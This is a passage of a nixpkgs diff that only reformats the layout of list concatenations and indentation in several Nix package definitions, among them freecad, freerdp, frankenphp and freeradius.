     sha256 = "sha256-Hzh4dyVOleq2H5NyV7QmCfKbmU7wVxUxZVu/w6KsdKw=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      perl
-      rinutils
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      # "strfile" must be in PATH for cross-compiling builds.
-      fortune
-    ];
+  nativeBuildInputs = [
+    cmake
+    perl
+    rinutils
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    # "strfile" must be in PATH for cross-compiling builds.
+    fortune
+  ];
 
   buildInputs = [ recode ];
 
   cmakeFlags = [
     "-DLOCALDIR=${placeholder "out"}/share/fortunes"
-  ] ++ lib.optional (!withOffensive) "-DNO_OFFENSIVE=true";
+  ]
+  ++ lib.optional (!withOffensive) "-DNO_OFFENSIVE=true";
 
   patches = [
     (builtins.toFile "not-a-game.patch" ''
diff --git a/pkgs/by-name/fo/foundry/package.nix b/pkgs/by-name/fo/foundry/package.nix
index 8b8d331882fd..7107d1f07d01 100644
--- a/pkgs/by-name/fo/foundry/package.nix
+++ b/pkgs/by-name/fo/foundry/package.nix
@@ -27,7 +27,8 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [
     pkg-config
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ];
 
   buildInputs = [ solc ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libusb1 ];
 
diff --git a/pkgs/by-name/fo/foxotron/package.nix b/pkgs/by-name/fo/foxotron/package.nix
index fd541500c049..503ce17f68e6 100644
--- a/pkgs/by-name/fo/foxotron/package.nix
+++ b/pkgs/by-name/fo/foxotron/package.nix
@@ -57,19 +57,20 @@ stdenv.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [ zlib ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-      libXrandr
-      libXinerama
-      libXcursor
-      libXi
-      libXext
-      alsa-lib
-      fontconfig
-      libGLU
-    ];
+  buildInputs = [
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+    libXrandr
+    libXinerama
+    libXcursor
+    libXi
+    libXext
+    alsa-lib
+    fontconfig
+    libGLU
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString [
     # Needed with GCC 12
diff --git a/pkgs/by-name/fp/fprintd-tod/package.nix b/pkgs/by-name/fp/fprintd-tod/package.nix
index bb34e1b88de2..161f94bfd38c 100644
--- a/pkgs/by-name/fp/fprintd-tod/package.nix
+++ b/pkgs/by-name/fp/fprintd-tod/package.nix
@@ -60,13 +60,11 @@
       })
     ];
 
-    postPatch =
-      previousAttrs.postPatch or ""
-      + ''
-        # part of "remove-pointless-copying-of-files-into-build-directory" but git-apply doesn't handle renaming
-        mv src/device.xml src/net.reactivated.Fprint.Device.xml
-        mv src/manager.xml src/net.reactivated.Fprint.Manager.xml
-      '';
+    postPatch = previousAttrs.postPatch or "" + ''
+      # part of "remove-pointless-copying-of-files-into-build-directory" but git-apply doesn't handle renaming
+      mv src/device.xml src/net.reactivated.Fprint.Device.xml
+      mv src/manager.xml src/net.reactivated.Fprint.Manager.xml
+    '';
 
     meta = {
       homepage = "https://fprint.freedesktop.org/";
diff --git a/pkgs/by-name/fr/fractal/package.nix b/pkgs/by-name/fr/fractal/package.nix
index e72a15c7005b..ad17e371e0c4 100644
--- a/pkgs/by-name/fr/fractal/package.nix
+++ b/pkgs/by-name/fr/fractal/package.nix
@@ -75,27 +75,26 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [
-      glib
-      gtk4
-      gtksourceview5
-      lcms2
-      libadwaita
-      openssl
-      pipewire
-      libshumate
-      sqlite
-      xdg-desktop-portal
-      libseccomp
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-bad
-      gst-plugins-good
-      gst-plugins-rs
-    ]);
+  buildInputs = [
+    glib
+    gtk4
+    gtksourceview5
+    lcms2
+    libadwaita
+    openssl
+    pipewire
+    libshumate
+    sqlite
+    xdg-desktop-portal
+    libseccomp
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-bad
+    gst-plugins-good
+    gst-plugins-rs
+  ]);
 
   preFixup = ''
     gappsWrapperArgs+=(
diff --git a/pkgs/by-name/fr/framac/package.nix b/pkgs/by-name/fr/framac/package.nix
index d600835c11e4..1b5b79539c55 100644
--- a/pkgs/by-name/fr/framac/package.nix
+++ b/pkgs/by-name/fr/framac/package.nix
@@ -62,14 +62,15 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [ wrapGAppsHook3 ]
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-      dune_3
-      menhir
-    ]);
+  nativeBuildInputs = [
+    wrapGAppsHook3
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+    dune_3
+    menhir
+  ]);
 
   buildInputs = with ocamlPackages; [
     dune-site
diff --git a/pkgs/by-name/fr/frame/package.nix b/pkgs/by-name/fr/frame/package.nix
index e7c06a2d34e5..b3fa616561ae 100644
--- a/pkgs/by-name/fr/frame/package.nix
+++ b/pkgs/by-name/fr/frame/package.nix
@@ -16,16 +16,15 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      stdenv
-    ]
-    ++ lib.optionals enableX11 [
-      xorg.xorgserver
-      xorg.libX11
-      xorg.libXext
-      xorg.libXi
-    ];
+  buildInputs = [
+    stdenv
+  ]
+  ++ lib.optionals enableX11 [
+    xorg.xorgserver
+    xorg.libX11
+    xorg.libXext
+    xorg.libXi
+  ];
 
   configureFlags = lib.optional enableX11 "--with-x11";
 
diff --git a/pkgs/by-name/fr/frankenphp/package.nix b/pkgs/by-name/fr/frankenphp/package.nix
index 0ff5e14d3ec0..5ad678b885e9 100644
--- a/pkgs/by-name/fr/frankenphp/package.nix
+++ b/pkgs/by-name/fr/frankenphp/package.nix
@@ -51,14 +51,16 @@ buildGoModule rec {
     phpUnwrapped
     brotli
     watcher
-  ] ++ phpUnwrapped.buildInputs;
-  nativeBuildInputs =
-    [ makeBinaryWrapper ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      pkg-config
-      cctools
-      darwin.autoSignDarwinBinariesHook
-    ];
+  ]
+  ++ phpUnwrapped.buildInputs;
+  nativeBuildInputs = [
+    makeBinaryWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    pkg-config
+    cctools
+    darwin.autoSignDarwinBinariesHook
+  ];
 
   subPackages = [ "frankenphp" ];
 
@@ -77,20 +79,20 @@ buildGoModule rec {
     "-w"
     "-X 'github.com/caddyserver/caddy/v2.CustomVersion=FrankenPHP ${version} PHP ${phpUnwrapped.version} Caddy'"
     # pie mode is only available with pkgsMusl, it also automatically add -buildmode=pie to $GOFLAGS
-  ] ++ (lib.optional pieBuild [ "-static-pie" ]);
+  ]
+  ++ (lib.optional pieBuild [ "-static-pie" ]);
 
-  preBuild =
-    ''
-      export CGO_CFLAGS="$(${phpConfig} --includes)"
-      export CGO_LDFLAGS="-DFRANKENPHP_VERSION=${version} \
-        $(${phpConfig} --ldflags) \
-        $(${phpConfig} --libs)"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # replace hard-code homebrew path
-      substituteInPlace ../frankenphp.go \
-        --replace "-L/opt/homebrew/opt/libiconv/lib" "-L${libiconv}/lib"
-    '';
+  preBuild = ''
+    export CGO_CFLAGS="$(${phpConfig} --includes)"
+    export CGO_LDFLAGS="-DFRANKENPHP_VERSION=${version} \
+      $(${phpConfig} --ldflags) \
+      $(${phpConfig} --libs)"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # replace hard-code homebrew path
+    substituteInPlace ../frankenphp.go \
+      --replace "-L/opt/homebrew/opt/libiconv/lib" "-L${libiconv}/lib"
+  '';
 
   preFixup = ''
     mkdir -p $out/lib
diff --git a/pkgs/by-name/fr/freecad/package.nix b/pkgs/by-name/fr/freecad/package.nix
index 8320ef1bb8f8..6fbaa35e6b18 100644
--- a/pkgs/by-name/fr/freecad/package.nix
+++ b/pkgs/by-name/fr/freecad/package.nix
@@ -75,79 +75,77 @@ freecad-utils.makeCustomizable (
       fetchSubmodules = true;
     };
 
-    nativeBuildInputs =
-      [
-        cmake
-        ninja
-        pkg-config
-        gfortran
-        swig
-        doxygen
-        wrapGAppsHook3
-      ]
-      ++ lib.optionals (qtVersion == 5) [
-        pyside2-tools
-        qt5.wrapQtAppsHook
-      ]
-      ++ lib.optionals (qtVersion == 6) [ qt6.wrapQtAppsHook ];
+    nativeBuildInputs = [
+      cmake
+      ninja
+      pkg-config
+      gfortran
+      swig
+      doxygen
+      wrapGAppsHook3
+    ]
+    ++ lib.optionals (qtVersion == 5) [
+      pyside2-tools
+      qt5.wrapQtAppsHook
+    ]
+    ++ lib.optionals (qtVersion == 6) [ qt6.wrapQtAppsHook ];
 
-    buildInputs =
-      [
-        boost
-        coin3d
-        eigen
-        fmt
-        gitpython # for addon manager
-        gts
-        hdf5
-        libGLU
-        libXmu
-        matplotlib
-        medfile
-        mpi
-        ode
-        opencamlib
-        pivy
-        ply # for openSCAD file support
-        py-slvs
-        pybind11
-        pycollada
-        python
-        pyyaml # (at least for) PyrateWorkbench
-        scipy
-        vtk
-        xercesc
-        yaml-cpp
-        zlib
-      ]
-      ++ lib.optionals (qtVersion == 5) [
-        libsForQt5.soqt
-        opencascade-occt_7_6
-        pyside2
-        pyside2-tools
-        shiboken2
-        qt5.qtbase
-        qt5.qttools
-        qt5.qtwayland
-        qt5.qtwebengine
-        qt5.qtxmlpatterns
-      ]
-      ++ lib.optionals (qtVersion == 6) [
-        opencascade-occt
-        pyside6
-        shiboken6
-        qt6.qtbase
-        qt6.qtsvg
-        qt6.qttools
-        qt6.qtwayland
-        qt6.qtwebengine
-      ]
-      ++ lib.optionals ifcSupport [
-        ifcopenshell
-      ]
-      ++ lib.optionals spaceNavSupport (
-        [ libspnav ] ++ lib.optionals (qtVersion == 5) [ libsForQt5.qtx11extras ]
-      );
+    buildInputs = [
+      boost
+      coin3d
+      eigen
+      fmt
+      gitpython # for addon manager
+      gts
+      hdf5
+      libGLU
+      libXmu
+      matplotlib
+      medfile
+      mpi
+      ode
+      opencamlib
+      pivy
+      ply # for openSCAD file support
+      py-slvs
+      pybind11
+      pycollada
+      python
+      pyyaml # (at least for) PyrateWorkbench
+      scipy
+      vtk
+      xercesc
+      yaml-cpp
+      zlib
+    ]
+    ++ lib.optionals (qtVersion == 5) [
+      libsForQt5.soqt
+      opencascade-occt_7_6
+      pyside2
+      pyside2-tools
+      shiboken2
+      qt5.qtbase
+      qt5.qttools
+      qt5.qtwayland
+      qt5.qtwebengine
+      qt5.qtxmlpatterns
+    ]
+    ++ lib.optionals (qtVersion == 6) [
+      opencascade-occt
+      pyside6
+      shiboken6
+      qt6.qtbase
+      qt6.qtsvg
+      qt6.qttools
+      qt6.qtwayland
+      qt6.qtwebengine
+    ]
+    ++ lib.optionals ifcSupport [
+      ifcopenshell
+    ]
+    ++ lib.optionals spaceNavSupport (
+      [ libspnav ] ++ lib.optionals (qtVersion == 5) [ libsForQt5.qtx11extras ]
+    );
 
     patches = [
       ./0001-NIXOS-don-t-ignore-PYTHONPATH.patch
@@ -161,40 +159,39 @@ freecad-utils.makeCustomizable (
       })
     ];
 
-    cmakeFlags =
-      [
-        "-Wno-dev" # turns off warnings which otherwise makes it hard to see what is going on
-        "-DBUILD_FLAT_MESH:BOOL=ON"
-        "-DBUILD_DRAWING=ON"
-        "-DBUILD_FLAT_MESH:BOOL=ON"
-        "-DINSTALL_TO_SITEPACKAGES=OFF"
-        "-DFREECAD_USE_PYBIND11=ON"
-      ]
-      ++ lib.optionals (qtVersion == 5) [
-        "-DBUILD_QT5=ON"
-        "-DSHIBOKEN_INCLUDE_DIR=${shiboken2}/include"
-        "-DSHIBOKEN_LIBRARY=Shiboken2::libshiboken"
-        (
-          "-DPYSIDE_INCLUDE_DIR=${pyside2}/include"
-          + ";${pyside2}/include/PySide2/QtCore"
-          + ";${pyside2}/include/PySide2/QtWidgets"
-          + ";${pyside2}/include/PySide2/QtGui"
-        )
-        "-DPYSIDE_LIBRARY=PySide2::pyside2"
-      ]
-      ++ lib.optionals (qtVersion == 6) [
-        "-DBUILD_QT5=OFF"
-        "-DBUILD_QT6=ON"
-        "-DSHIBOKEN_INCLUDE_DIR=${shiboken6}/include"
-        "-DSHIBOKEN_LIBRARY=Shiboken6::libshiboken"
-        (
-          "-DPYSIDE_INCLUDE_DIR=${pyside6}/include"
-          + ";${pyside6}/include/PySide6/QtCore"
-          + ";${pyside6}/include/PySide6/QtWidgets"
-          + ";${pyside6}/include/PySide6/QtGui"
-        )
-        "-DPYSIDE_LIBRARY=PySide6::pyside6"
-      ];
+    cmakeFlags = [
+      "-Wno-dev" # turns off warnings which otherwise makes it hard to see what is going on
+      "-DBUILD_FLAT_MESH:BOOL=ON"
+      "-DBUILD_DRAWING=ON"
+      "-DBUILD_FLAT_MESH:BOOL=ON"
+      "-DINSTALL_TO_SITEPACKAGES=OFF"
+      "-DFREECAD_USE_PYBIND11=ON"
+    ]
+    ++ lib.optionals (qtVersion == 5) [
+      "-DBUILD_QT5=ON"
+      "-DSHIBOKEN_INCLUDE_DIR=${shiboken2}/include"
+      "-DSHIBOKEN_LIBRARY=Shiboken2::libshiboken"
+      (
+        "-DPYSIDE_INCLUDE_DIR=${pyside2}/include"
+        + ";${pyside2}/include/PySide2/QtCore"
+        + ";${pyside2}/include/PySide2/QtWidgets"
+        + ";${pyside2}/include/PySide2/QtGui"
+      )
+      "-DPYSIDE_LIBRARY=PySide2::pyside2"
+    ]
+    ++ lib.optionals (qtVersion == 6) [
+      "-DBUILD_QT5=OFF"
+      "-DBUILD_QT6=ON"
+      "-DSHIBOKEN_INCLUDE_DIR=${shiboken6}/include"
+      "-DSHIBOKEN_LIBRARY=Shiboken6::libshiboken"
+      (
+        "-DPYSIDE_INCLUDE_DIR=${pyside6}/include"
+        + ";${pyside6}/include/PySide6/QtCore"
+        + ";${pyside6}/include/PySide6/QtWidgets"
+        + ";${pyside6}/include/PySide6/QtGui"
+      )
+      "-DPYSIDE_LIBRARY=PySide6::pyside6"
+    ];
 
     # This should work on both x86_64, and i686 linux
     preBuild = ''
@@ -208,7 +205,8 @@ freecad-utils.makeCustomizable (
     qtWrapperArgs = [
       "--set COIN_GL_NO_CURRENT_CONTEXT_CHECK 1"
       "--prefix PATH : ${libredwg}/bin"
-    ] ++ lib.optionals (!withWayland) [ "--set QT_QPA_PLATFORM xcb" ];
+    ]
+    ++ lib.optionals (!withWayland) [ "--set QT_QPA_PLATFORM xcb" ];
 
     postFixup = ''
       mv $out/share/doc $out
diff --git a/pkgs/by-name/fr/freecell-solver/package.nix b/pkgs/by-name/fr/freecell-solver/package.nix
index 8479daf5888e..d42155efb730 100644
--- a/pkgs/by-name/fr/freecell-solver/package.nix
+++ b/pkgs/by-name/fr/freecell-solver/package.nix
@@ -37,32 +37,31 @@ stdenv.mkDerivation (finalAttrs: {
     six
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      cmocka
-      gperf
-      ninja
-      perl
-      pkg-config
-      python3
+  nativeBuildInputs = [
+    cmake
+    cmocka
+    gperf
+    ninja
+    perl
+    pkg-config
+    python3
+  ]
+  ++ (
+    with perl.pkgs;
+    TaskFreecellSolverTesting.buildInputs
+    ++ [
+      GamesSolitaireVerify
+      HTMLTemplate
+      Moo
+      PathTiny
+      StringShellQuote
+      TaskFreecellSolverTesting
+      TemplateToolkit
+      TextTemplate
     ]
-    ++ (
-      with perl.pkgs;
-      TaskFreecellSolverTesting.buildInputs
-      ++ [
-        GamesSolitaireVerify
-        HTMLTemplate
-        Moo
-        PathTiny
-        StringShellQuote
-        TaskFreecellSolverTesting
-        TemplateToolkit
-        TextTemplate
-      ]
-    )
-    ++ [ python3.pkgs.wrapPython ]
-    ++ finalAttrs.pythonPath;
+  )
+  ++ [ python3.pkgs.wrapPython ]
+  ++ finalAttrs.pythonPath;
 
   buildInputs = [
     gmp
diff --git a/pkgs/by-name/fr/freedroidrpg/package.nix b/pkgs/by-name/fr/freedroidrpg/package.nix
index d6cdcf46ee3f..4388944a309b 100644
--- a/pkgs/by-name/fr/freedroidrpg/package.nix
+++ b/pkgs/by-name/fr/freedroidrpg/package.nix
@@ -54,7 +54,8 @@ stdenv.mkDerivation {
     libjpeg
     libpng
     zlib
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   env.SDL_CONFIG = lib.getExe' (lib.getDev SDL) "sdl-config";
 
diff --git a/pkgs/by-name/fr/freedv/package.nix b/pkgs/by-name/fr/freedv/package.nix
index ff04378f9f7e..ab96db9582a1 100644
--- a/pkgs/by-name/fr/freedv/package.nix
+++ b/pkgs/by-name/fr/freedv/package.nix
@@ -40,15 +40,14 @@ stdenv.mkDerivation (finalAttrs: {
     sed -i "/codesign/d;/hdiutil/d" src/CMakeLists.txt
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      macdylibbundler
-      makeWrapper
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    macdylibbundler
+    makeWrapper
+    darwin.autoSignDarwinBinariesHook
+  ];
 
   buildInputs = [
     codec2
@@ -59,7 +58,8 @@ stdenv.mkDerivation (finalAttrs: {
     hamlib_4
     wxGTK32
     sioclient
-  ] ++ (if pulseSupport then [ libpulseaudio ] else [ portaudio ]);
+  ]
+  ++ (if pulseSupport then [ libpulseaudio ] else [ portaudio ]);
 
   cmakeFlags = [
     (lib.cmakeBool "USE_INTERNAL_CODEC2" false)
diff --git a/pkgs/by-name/fr/freeimage/package.nix b/pkgs/by-name/fr/freeimage/package.nix
index bb8f8bb2ea9c..e0331774258a 100644
--- a/pkgs/by-name/fr/freeimage/package.nix
+++ b/pkgs/by-name/fr/freeimage/package.nix
@@ -51,27 +51,25 @@ stdenv.mkDerivation (finalAttrs: {
     ./CVE-2023-47997.patch
   ];
 
-  postPatch =
-    ''
-      # To support cross compilation, use the correct `pkg-config`.
-      substituteInPlace Makefile.fip \
-        --replace "pkg-config" "$PKG_CONFIG"
-      substituteInPlace Makefile.gnu \
-        --replace "pkg-config" "$PKG_CONFIG"
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
-      # Upstream Makefile hardcodes i386 and x86_64 architectures only
-      substituteInPlace Makefile.osx --replace "x86_64" "arm64"
-    '';
+  postPatch = ''
+    # To support cross compilation, use the correct `pkg-config`.
+    substituteInPlace Makefile.fip \
+      --replace "pkg-config" "$PKG_CONFIG"
+    substituteInPlace Makefile.gnu \
+      --replace "pkg-config" "$PKG_CONFIG"
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
+    # Upstream Makefile hardcodes i386 and x86_64 architectures only
+    substituteInPlace Makefile.osx --replace "x86_64" "arm64"
+  '';
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+    fixDarwinDylibNames
+  ];
 
   buildInputs = [
     libtiff
@@ -94,14 +92,13 @@ stdenv.mkDerivation (finalAttrs: {
   INCDIR = "${placeholder "out"}/include";
   INSTALLDIR = "${placeholder "out"}/lib";
 
-  preInstall =
-    ''
-      mkdir -p $INCDIR $INSTALLDIR
-    ''
-    # Workaround for Makefiles.osx not using ?=
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      makeFlagsArray+=( "INCDIR=$INCDIR" "INSTALLDIR=$INSTALLDIR" )
-    '';
+  preInstall = ''
+    mkdir -p $INCDIR $INSTALLDIR
+  ''
+  # Workaround for Makefiles.osx not using ?=
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    makeFlagsArray+=( "INCDIR=$INCDIR" "INSTALLDIR=$INSTALLDIR" )
+  '';
 
   postInstall =
     lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
diff --git a/pkgs/by-name/fr/freeradius/package.nix b/pkgs/by-name/fr/freeradius/package.nix
index b92ab190284a..59b4236b5520 100644
--- a/pkgs/by-name/fr/freeradius/package.nix
+++ b/pkgs/by-name/fr/freeradius/package.nix
@@ -49,30 +49,30 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ autoreconfHook ];
 
-  buildInputs =
-    [
-      openssl
-      talloc
-      bsd-finger
-      perl
-    ]
-    ++ lib.optional withCap libcap
-    ++ lib.optional withCollectd collectd
-    ++ lib.optional withJson json_c
-    ++ lib.optional withLdap openldap
-    ++ lib.optional withMemcached libmemcached
-    ++ lib.optional withMysql libmysqlclient
-    ++ lib.optional withPostgresql libpq
-    ++ lib.optional withPcap libpcap
-    ++ lib.optional withRedis hiredis
-    ++ lib.optional withRest curl
-    ++ lib.optional withSqlite sqlite
-    ++ lib.optional withYubikey libyubikey;
+  buildInputs = [
+    openssl
+    talloc
+    bsd-finger
+    perl
+  ]
+  ++ lib.optional withCap libcap
+  ++ lib.optional withCollectd collectd
+  ++ lib.optional withJson json_c
+  ++ lib.optional withLdap openldap
+  ++ lib.optional withMemcached libmemcached
+  ++ lib.optional withMysql libmysqlclient
+  ++ lib.optional withPostgresql libpq
+  ++ lib.optional withPcap libpcap
+  ++ lib.optional withRedis hiredis
+  ++ lib.optional withRest curl
+  ++ lib.optional withSqlite sqlite
+  ++ lib.optional withYubikey libyubikey;
 
   configureFlags = [
     "--sysconfdir=/etc"
     "--localstatedir=/var"
-  ] ++ lib.optional (!linkOpenssl) "--with-openssl=no";
+  ]
+  ++ lib.optional (!linkOpenssl) "--with-openssl=no";
 
   postPatch = ''
     substituteInPlace src/main/checkrad.in \
diff --git a/pkgs/by-name/fr/freerdp/package.nix b/pkgs/by-name/fr/freerdp/package.nix
index e6bbb2fed073..9cfa7a7d2b9f 100644
--- a/pkgs/by-name/fr/freerdp/package.nix
+++ b/pkgs/by-name/fr/freerdp/package.nix
@@ -71,28 +71,27 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-xz1vP58hElXe/jLVrJOSpXcbqShBV7LHRpzqPLa2fDU=";
   };
 
-  postPatch =
-    ''
-      export HOME=$TMP
+  postPatch = ''
+    export HOME=$TMP
 
-      # skip NIB file generation on darwin
-      substituteInPlace "client/Mac/CMakeLists.txt" "client/Mac/cli/CMakeLists.txt" \
-        --replace-fail "if(NOT IS_XCODE)" "if(FALSE)"
+    # skip NIB file generation on darwin
+    substituteInPlace "client/Mac/CMakeLists.txt" "client/Mac/cli/CMakeLists.txt" \
+      --replace-fail "if(NOT IS_XCODE)" "if(FALSE)"
 
-      substituteInPlace "libfreerdp/freerdp.pc.in" \
-        --replace-fail "Requires:" "Requires: @WINPR_PKG_CONFIG_FILENAME@"
+    substituteInPlace "libfreerdp/freerdp.pc.in" \
+      --replace-fail "Requires:" "Requires: @WINPR_PKG_CONFIG_FILENAME@"
 
-      substituteInPlace client/SDL/SDL2/dialogs/{sdl_input.cpp,sdl_select.cpp,sdl_widget.cpp,sdl_widget.hpp} \
-        --replace-fail "<SDL_ttf.h>" "<SDL2/SDL_ttf.h>"
-    ''
-    + lib.optionalString (pcsclite != null) ''
-      substituteInPlace "winpr/libwinpr/smartcard/smartcard_pcsc.c" \
-        --replace-fail "libpcsclite.so" "${lib.getLib pcsclite}/lib/libpcsclite.so"
-    ''
-    + lib.optionalString nocaps ''
-      substituteInPlace "libfreerdp/locale/keyboard_xkbfile.c" \
-        --replace-fail "RDP_SCANCODE_CAPSLOCK" "RDP_SCANCODE_LCONTROL"
-    '';
+    substituteInPlace client/SDL/SDL2/dialogs/{sdl_input.cpp,sdl_select.cpp,sdl_widget.cpp,sdl_widget.hpp} \
+      --replace-fail "<SDL_ttf.h>" "<SDL2/SDL_ttf.h>"
+  ''
+  + lib.optionalString (pcsclite != null) ''
+    substituteInPlace "winpr/libwinpr/smartcard/smartcard_pcsc.c" \
+      --replace-fail "libpcsclite.so" "${lib.getLib pcsclite}/lib/libpcsclite.so"
+  ''
+  + lib.optionalString nocaps ''
+    substituteInPlace "libfreerdp/locale/keyboard_xkbfile.c" \
+      --replace-fail "RDP_SCANCODE_CAPSLOCK" "RDP_SCANCODE_LCONTROL"
+  '';
 
   nativeBuildInputs = [
     cmake
@@ -102,87 +101,85 @@ stdenv.mkDerivation (finalAttrs: {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      cairo
-      cjson
-      cups
-      faad2
-      ffmpeg
-      glib
-      icu
-      libX11
-      libXcursor
-      libXdamage
-      libXdmcp
-      libXext
-      libXi
-      libXinerama
-      libXrandr
-      libXrender
-      libXtst
-      libXv
-      libjpeg_turbo
-      libkrb5
-      libopus
-      libpulseaudio
-      libunwind
-      libusb1
-      libxkbcommon
-      libxkbfile
-      openh264
-      openssl
-      orc
-      pcre2
-      pcsclite
-      pkcs11helper
-      SDL2
-      SDL2_ttf
-      SDL2_image
-      uriparser
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      fuse3
-      systemd
-      wayland
-      wayland-scanner
-    ]
-    ++ lib.optionals withUnfree [
-      faac
-    ];
+  buildInputs = [
+    cairo
+    cjson
+    cups
+    faad2
+    ffmpeg
+    glib
+    icu
+    libX11
+    libXcursor
+    libXdamage
+    libXdmcp
+    libXext
+    libXi
+    libXinerama
+    libXrandr
+    libXrender
+    libXtst
+    libXv
+    libjpeg_turbo
+    libkrb5
+    libopus
+    libpulseaudio
+    libunwind
+    libusb1
+    libxkbcommon
+    libxkbfile
+    openh264
+    openssl
+    orc
+    pcre2
+    pcsclite
+    pkcs11helper
+    SDL2
+    SDL2_ttf
+    SDL2_image
+    uriparser
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    fuse3
+    systemd
+    wayland
+    wayland-scanner
+  ]
+  ++ lib.optionals withUnfree [
+    faac
+  ];
 
   # https://github.com/FreeRDP/FreeRDP/issues/8526#issuecomment-1357134746
-  cmakeFlags =
-    [
-      "-Wno-dev"
-      (lib.cmakeFeature "CMAKE_INSTALL_LIBDIR" "lib")
-      (lib.cmakeFeature "DOCBOOKXSL_DIR" "${docbook-xsl-nons}/xml/xsl/docbook")
-    ]
-    ++ lib.mapAttrsToList lib.cmakeBool {
-      BUILD_TESTING = false; # false is recommended by upstream
-      WITH_CAIRO = cairo != null;
-      WITH_CUPS = cups != null;
-      WITH_FAAC = withUnfree && faac != null;
-      WITH_FAAD2 = faad2 != null;
-      WITH_FUSE = stdenv.hostPlatform.isLinux && fuse3 != null;
-      WITH_JPEG = libjpeg_turbo != null;
-      WITH_KRB5 = libkrb5 != null;
-      WITH_OPENH264 = openh264 != null;
-      WITH_OPUS = libopus != null;
-      WITH_OSS = false;
-      WITH_MANPAGES = withManPages;
-      WITH_PCSC = pcsclite != null;
-      WITH_PULSE = libpulseaudio != null;
-      WITH_SERVER = buildServer;
-      WITH_WEBVIEW = false; # avoid introducing webkit2gtk-4.0
-      WITH_VAAPI = false; # false is recommended by upstream
-      WITH_X11 = true;
-    }
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      (lib.cmakeBool "SDL_USE_COMPILED_RESOURCES" false)
-    ];
+  cmakeFlags = [
+    "-Wno-dev"
+    (lib.cmakeFeature "CMAKE_INSTALL_LIBDIR" "lib")
+    (lib.cmakeFeature "DOCBOOKXSL_DIR" "${docbook-xsl-nons}/xml/xsl/docbook")
+  ]
+  ++ lib.mapAttrsToList lib.cmakeBool {
+    BUILD_TESTING = false; # false is recommended by upstream
+    WITH_CAIRO = cairo != null;
+    WITH_CUPS = cups != null;
+    WITH_FAAC = withUnfree && faac != null;
+    WITH_FAAD2 = faad2 != null;
+    WITH_FUSE = stdenv.hostPlatform.isLinux && fuse3 != null;
+    WITH_JPEG = libjpeg_turbo != null;
+    WITH_KRB5 = libkrb5 != null;
+    WITH_OPENH264 = openh264 != null;
+    WITH_OPUS = libopus != null;
+    WITH_OSS = false;
+    WITH_MANPAGES = withManPages;
+    WITH_PCSC = pcsclite != null;
+    WITH_PULSE = libpulseaudio != null;
+    WITH_SERVER = buildServer;
+    WITH_WEBVIEW = false; # avoid introducing webkit2gtk-4.0
+    WITH_VAAPI = false; # false is recommended by upstream
+    WITH_X11 = true;
+  }
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    (lib.cmakeBool "SDL_USE_COMPILED_RESOURCES" false)
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/fr/freeswitch/package.nix b/pkgs/by-name/fr/freeswitch/package.nix
index aeb814db328e..ee180ccf2201 100644
--- a/pkgs/by-name/fr/freeswitch/package.nix
+++ b/pkgs/by-name/fr/freeswitch/package.nix
@@ -154,7 +154,8 @@ stdenv.mkDerivation rec {
     libtiff
     libuuid
     libxcrypt
